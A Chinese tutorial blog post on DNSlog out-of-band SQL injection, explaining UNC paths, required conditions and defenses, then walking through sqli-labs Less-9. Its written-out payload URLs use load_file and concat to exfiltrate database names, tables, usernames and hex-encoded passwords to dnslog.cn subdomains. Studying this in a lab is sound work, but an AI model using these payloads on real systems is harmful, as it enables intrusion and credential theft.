DNSlog注入(利用DNSlog平台将SQL盲注变成回显注入)
- 前言
- 什么是UNC
- 什么是DNSlog注入
- DNSlog注入的条件
- 防止DNSlog注入的几个措施
- sqli-labs试验
前言
前几天面试的时候,面试官问我知不知道OOB(带外数据)。
当时我蒙了,确实没听说过这个东西,然后面试官告诉我原来dnslog注入就是带外通信的一种。
什么是UNC
UNC(Universal Naming Convention)路径是用于在计算机网络中标识资源位置的标准格式。
它通常用于访问共享文件夹或打印机等网络资源。UNC路径格式的一般结构如下:
\\server\share\path\filename
\\: 表示UNC路径的开头,两个反斜杠用来指示这是一个网络路径。
什么是DNSlog注入
DNSlog注入是一种利用DNS服务器记录域名解析请求的特性,来获取SQL注入结果的技术。它的原理是通过构造一个包含数据库信息的子域名,然后使用MySQL的load_file函数或其他方法,让目标服务器向DNS服务器发起解析请求,从而在DNS服务器上留下注入结果的痕迹。
DNSlog注入的应用场景是当网站对于SQL注入的攻击没有回显或者过滤了敏感的回显内容时,可以使用DNSlog注入来绕过这些限制,获取数据库的信息。
DNSlog注入的步骤如下:
- 首先,需要一个可以记录DNS请求的平台,例如dnslog.cn和ceye.io。在这个平台上,可以获取一个专属的子域名,例如xxx.dnslog.cn,并且可以查看该子域名下所有的DNS请求记录。
- 然后,需要构造一个包含数据库信息的子域名,例如(select database()).xxx.dnslog.cn。这个子域名可以使用MySQL的函数或者操作符来拼接,例如concat、replace、substr等。
- 接着,需要使用MySQL的load_file函数或其他方法,让目标服务器向DNS服务器发起解析请求。例如,使用以下语句:
- select load_file(concat(‘\\\\’,(select database()),‘.xxx.dnslog.cn/abc’));
- 这个语句会让目标服务器尝试从(select database()).xxx.dnslog.cn/abc这个地址加载文件,从而触发DNS解析请求。
- 最后,需要在DNSlog平台上查看DNS请求记录,就可以获取数据库信息了。例如,在上面的例子中,如果数据库名为security,那么就会看到security.xxx.dnslog.cn这样的记录。
DNSlog注入需要注意的点:
-
由于每一级域名的长度只能为63个字符,所以在MySQL中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作。所以需要控制查询结果的字符长度在63个以内。
-
由于URL中传递的字符非常有限,很多特殊字符如{,},!,等是无法传递的。这就会导致load_file函数失效。所以需要对查询结果进行hex编码,然后再使用16进制解码网站来还原结果。
DNSlog注入的条件
-
目标服务器可以发起DNS请求,即可以访问外部网络。
-
目标服务器可以执行一些函数或命令,如load_file、exec、curl等,用于向DNS服务器发送域名查询。
-
攻击者拥有一个自己的域名,并能够配置NS记录和获取DNS日志,用于接收目标服务器发送的域名查询信息。
-
目标服务器返回的数据不超过域名长度限制(63个字符),并且不包含特殊符号,否则会导致DNS查询失败。
防止DNSlog注入的几个措施
- 限制目标服务器对外部网络的访问权限,禁止或过滤掉不必要的DNS请求。
- 对目标服务器执行的函数或命令进行严格的输入验证和过滤,防止攻击者注入恶意的域名或URL。
- my.ini中secure_file_priv值设置为null
sqli-labs试验
试验环境为sqli-labs 第九关
这里发现无回显,输入sleep函数后成功sleep了五秒

由于没有回显数据,所以直接上dnslog,查一下库名试一下:
http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select database()),'.20vice.dnslog.cn/test')))--+
成功回显了数据:

接下来查一下库里的表名,这里用limit限制只回显一个数据,多次查询:
http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select TABLE_NAME from information_schema.tables where table_schema='security' LIMIT 3,1),'.20vice.dnslog.cn/test')))--+
看到了四个表
| emails | referers | uagents | users |
|---|

用同样的方法查询字段名:
http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.20vice.dnslog.cn/test')))--+

尝试读取一下用户名数据:
http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select username from security.users limit 2,1),'.nwpxcq.dnslog.cn/test')))--+
再读取一下密码,由于密码里可能有特殊字符,这里进行十六进制编码了:
http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select hex(password) from security.users where username='Dummy'),'.nwpxcq.dnslog.cn/test')))--+

十六进制解码,成功获取数据:

相关文章:
DNSlog注入(利用DNSlog平台将SQL盲注变成回显注入)
前言什么是UNC什么是DNSlog注入DNSlog注入的条件防止DNSlog注入的几个措施 sqli-labs试验 前言 前几天面试的时候,面试官问我知不知道OOB(带外数据)。 当时我蒙了,确实没听说过这个东西,然后面试官告诉我原来dnslog注入…...
vim学习笔记(致敬vim作者)
vim cheat sheet 30. vim 删除大法 vim 删除某个字符之后改行的其他的字符?删除某行之后的其他行?删除某个字符之后的其他字符?【1】删除单个字符? 跳到要删除的字符位置 按下d键然后按下shift 4键 【2】删除某行之后的其他行…...
力扣 -- 139. 单词拆分
一、题目 题目链接:139. 单词拆分 - 力扣(LeetCode) 二、解题步骤 下面是用动态规划的思想解决这道题的过程,相信各位小伙伴都能看懂并且掌握这道经典的动规题目滴。 三、参考代码 class Solution { public:bool wordBreak(str…...
百度秋招攻略,百度网申笔试面试详解
百度秋招简介 作为行业巨头,百度向社会提供的岗位一直都是非常吃香的,每年也都有很多考生密切关注,百度发布的招聘广告,以尽可能的让自己进入这家企业工作,实现自己的人生价值。那么百度每年的秋招时间是多久…...
nohup Java -jar 生成的nohup.out 文件一直增加,如何处理
目录 1 实现 1 实现 除了使用echo "" > filename清空文件内容之外,还有其他几种方法可以删除文件中的内容而不删除文件本身:使用truncate命令:truncate命令可以用来截断文件并清空内容。使用以下命令清空文件内容:t…...
静态页面与动态页面的区别及部署jpress应用
简述静态网页和动态网页的区别 静态网页: 1、首先是静态网页,静态网页每个网页中都有一个固定的URL,网页URL以htm、HTML、jpg、.gif、.mp4等常见形式为后缀,而且不含有问号; 2、静态网页内容一经发布到网页服务器上…...
华为数通HCIA-华为VRP系统基础
什么是VRP? VRP是华为公司数据通信产品的通用操作系统平台,作为华为公司从低端到核心的全系列路由器、以太网交换机、业务网关等产品的软件核心引擎。 VRP提供以下功能: 实现统一的用户界面和管理界面 实现控制平面功能,并定义转发平面接口…...
基于Azure OpenAI Service 的知识库搭建实验⼿册
1.概要 介绍如何使⽤Azure OpenAI Service 的嵌⼊技术,创建知识库;以及创建必要的资源组和资源,包括 Form Recognizer 资源和 Azure 翻译器资源。在创建问答机器⼈服务时,需要使⽤已部署模型的 Azure OpenAI 资源、已存在的…...
第七节--结构体
lesson19: 一、结构的基础知识 1.数组是一组xx集合(1:10:10) 2.结构体是XX的集合(1:10:25) 二、结构的声明(看课件)(1:12…...
Docker学习(二十四)报错速查手册
目录 一、This error may indicate that the docker daemon is not running 报错docker login 报错截图:原因分析:解决方案: 二、Get "https://harbor.xxx.cn/v2/": EOF 报错docker login 报错截图:原因分析:…...
一种SpringBoot下Scheduler定时任务优雅退出方案
背景 近期业务中有一个定时任务发现每次服务部署时,偶发性的会触发问题,这里记录一下问题的跟进解决。 分析现象 该定时任务每2分钟执行一次,完成数据的更新处理。同时服务部署了多个服务器节点,为保证每次只有一个服务器节点上…...
DNS部署与安全详解(上)
文章目录 一、DNS二、域名组成1. 域名组成概述2. 域名组成 三、监听端口四、DNS解析种类1. 按照查询方式分类:2. 按照查询内容分类: 五、DNS服务器搭建过程1. 先确保服务器的IP地址是固定的2. 安装DNS软件 一、DNS DNS全称Domain Name Service࿰…...
【51单片机】晨启科技,酷黑版,音乐播放器
四、音乐播放器 任务要求: 设计制作一个简易音乐播放器(通过手柄板上的蜂鸣器发声,播放2到4首音乐),同时LED模块闪烁,给人视、听觉美的感受。 评分细则: 按下播放按键A6开始播放音乐࿰…...
基于SPSSPRO实现层次分析法(AHP)
层次分析法,简称AHP,是指将与决策总是有关的元素分解成目标、准则、方案等层次,在此基础之上进行定性和定量分析的决策方法。(摘自百度百科) 层次分析法有着广泛使用,涉及到的平台也多种多样,今…...
Spring Test中使用MockMvc进行上传文件单元测试时,报NullPointerException
问题: MockMvc peform在集成测试中返回nullPointerException 原因: springboot-2.x版本以上,当你添加依赖spring_boot_starter_test后,可以在内部看到自带了jupiter测试核心模块,也就是 junit5,junit5&am…...
HTTP常用状态码及其含义
HTTP常用状态码及其含义 1XX:信息,服务器收到请求,需要请求者继续执行操 状态码状态码英文名称中文描述100Continue继续。客户端应继续其请求101Switching Protocols切换协议。服务器根据客户端的请求切换协议。只能切换到更高级的协议&…...
FFmpeg中AVIOContext的使用
通过FFmpeg对视频进行编解码时,如果输入文件存在本机或通过USB摄像头、笔记本内置摄像头获取数据时,可通过avformat_open_input接口中的第二个参数直接指定即可。但如果待处理的视频数据存在于内存块中时,该如何指定,可通过FFmpeg…...
【react】react中BrowserRouter和HashRouter的区别:
文章目录 1.底层原理不一样:2.path衣现形式不一样3.刷新后对路山state参数的影响4.备注: HashRouter可以用于解决一些路径错误相关的问题 1.底层原理不一样: BrowserRouter使用的是H5的history API,不兼容IE9及以下版不。 HashRouter使用的是URL的哈希值。 2.path衣…...
机器学习常用Python库安装
机器学习常用Python库安装 作者日期版本说明Dog Tao2022.06.16V1.0开始建立文档 文章目录 机器学习常用Python库安装Anaconda简介使用镜像源配置 Pip简介镜像源配置 CUDAPytorch安装旧版本 TensorFlowGPU支持说明 DGL简介安装DGLLife RDKitscikit-multilearn Anaconda 简介 …...
HTTP 劫持、DNS 劫持与 XSS
HTTP 劫持、DNS 劫持与 XSS http 劫持是指攻击者在客户端和服务器之间同时建立了连接通道,通过某种方式,让客户端请求发送到自己的服务器,然后自己就拥有了控制响应内容的能力,从而给客户端展示错误的信息,比如在页面中…...
如何在看板中体现优先级变化
在看板中有效体现优先级变化的关键措施包括:采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中,设置任务排序规则尤其重要,因为它让看板视觉上直观地体…...
华为OD机试-食堂供餐-二分法
import java.util.Arrays; import java.util.Scanner;public class DemoTest3 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseint a in.nextIn…...
【2025年】解决Burpsuite抓不到https包的问题
环境:windows11 burpsuite:2025.5 在抓取https网站时,burpsuite抓取不到https数据包,只显示: 解决该问题只需如下三个步骤: 1、浏览器中访问 http://burp 2、下载 CA certificate 证书 3、在设置--隐私与安全--…...
C# SqlSugar:依赖注入与仓储模式实践
C# SqlSugar:依赖注入与仓储模式实践 在 C# 的应用开发中,数据库操作是必不可少的环节。为了让数据访问层更加简洁、高效且易于维护,许多开发者会选择成熟的 ORM(对象关系映射)框架,SqlSugar 就是其中备受…...
MySQL用户和授权
开放MySQL白名单 可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务: test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...
华硕a豆14 Air香氛版,美学与科技的馨香融合
在快节奏的现代生活中,我们渴望一个能激发创想、愉悦感官的工作与生活伙伴,它不仅是冰冷的科技工具,更能触动我们内心深处的细腻情感。正是在这样的期许下,华硕a豆14 Air香氛版翩然而至,它以一种前所未有的方式&#x…...
提升移动端网页调试效率:WebDebugX 与常见工具组合实践
在日常移动端开发中,网页调试始终是一个高频但又极具挑战的环节。尤其在面对 iOS 与 Android 的混合技术栈、各种设备差异化行为时,开发者迫切需要一套高效、可靠且跨平台的调试方案。过去,我们或多或少使用过 Chrome DevTools、Remote Debug…...
认识CMake并使用CMake构建自己的第一个项目
1.CMake的作用和优势 跨平台支持:CMake支持多种操作系统和编译器,使用同一份构建配置可以在不同的环境中使用 简化配置:通过CMakeLists.txt文件,用户可以定义项目结构、依赖项、编译选项等,无需手动编写复杂的构建脚本…...
高防服务器价格高原因分析
高防服务器的价格较高,主要是由于其特殊的防御机制、硬件配置、运营维护等多方面的综合成本。以下从技术、资源和服务三个维度详细解析高防服务器昂贵的原因: 一、硬件与技术投入 大带宽需求 DDoS攻击通过占用大量带宽资源瘫痪目标服务器,因此…...
在RK3588上搭建ROS1环境:创建节点与数据可视化实战指南
在RK3588上搭建ROS1环境:创建节点与数据可视化实战指南 背景介绍完整操作步骤1. 创建Docker容器环境2. 验证GUI显示功能3. 安装ROS Noetic4. 配置环境变量5. 创建ROS节点(小球运动模拟)6. 配置RVIZ默认视图7. 创建启动脚本8. 运行可视化系统效果展示与交互技术解析ROS节点通…...
